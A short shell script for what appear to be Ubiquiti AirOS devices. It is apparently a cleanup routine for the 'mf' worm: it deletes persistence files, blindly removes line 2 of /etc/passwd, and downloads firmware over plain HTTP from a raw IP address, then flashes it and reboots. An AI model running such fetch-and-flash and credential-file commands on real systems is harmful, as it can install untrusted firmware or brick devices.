rm /dev/fwupdate.bin
iptables -D INPUT -p tcp --dport 80 -j DROP 2>/dev/null
sed -i 2d /etc/passwd
cd /dev
wget http://177.125.244.8/publico/fwupdatexm.bin
mv fwupdatexm.bin fwupdate.bin
cd /etc/persistent/
rm mf.tar
rm rc.poststart
rm -R .mf
cfgmtd -p /etc/persistent/ -w
iptables -D INPUT -p tcp --dport 80 -j DROP 2>/dev/null
ubntbox fwupdate.real -m /dev/fwupdate.bin
reboot